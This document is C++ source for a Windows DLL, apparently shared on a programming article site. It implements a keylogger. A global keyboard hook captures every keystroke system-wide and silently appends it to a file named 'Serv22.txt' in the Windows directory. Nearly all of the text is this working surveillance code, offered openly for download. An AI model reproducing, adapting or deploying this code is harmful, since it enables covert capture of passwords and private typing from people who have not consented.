|
////////////////////////////////////////////////////////////////////
// This program is done by Hirosh Joseph from india //
// Email hirosh@hirosh.com //
// Website www.hirosh.com,www.hirosh.net,www.hirosh.org //
// I always welcome to ur valuble comments //
////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ddd.h"
#include "resource.h"
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
static HHOOK hkm=NULL;
FILE *f1;
#pragma data_seg()
HINSTANCE hins;
char a[MAX_PATH];
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hins=(HINSTANCE)hModule;
strcpy(a,"");
GetWindowsDirectory(a,MAX_PATH);
strcat(a, "\\Serv22.txt" );
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam)
{
char ch;
//if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
if ((lParam<1) &&(HC_ACTION==nCode))
{
if((wParam==VK_DELETE)||(wParam==VK_BACK))
{
f1=fopen(a,"a+");
char *cc="Delk ";
fwrite(cc,1,5,f1);
fclose(f1);
}
if (wParam==VK_TAB)
{f1=fopen(a,"a+");
char *cc=" ";
fwrite(cc,1,3,f1);
fclose(f1);
}
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen(a,"a+");
if (wParam==VK_RETURN)
{ ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}
DDD_API BOOL installhook()
{
f1=fopen(a,"a+");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return TRUE;
}
DDD_API BOOL UnHookkb()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}
///////////////////////////////////////////////////////////
|
By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.
If a file you wish to view isn't highlighted, and is a text file (not binary), please
let us know and we'll add colourisation support for it.
This member has not yet provided a Biography. Assume it's interesting and varied, and probably something to do with programming.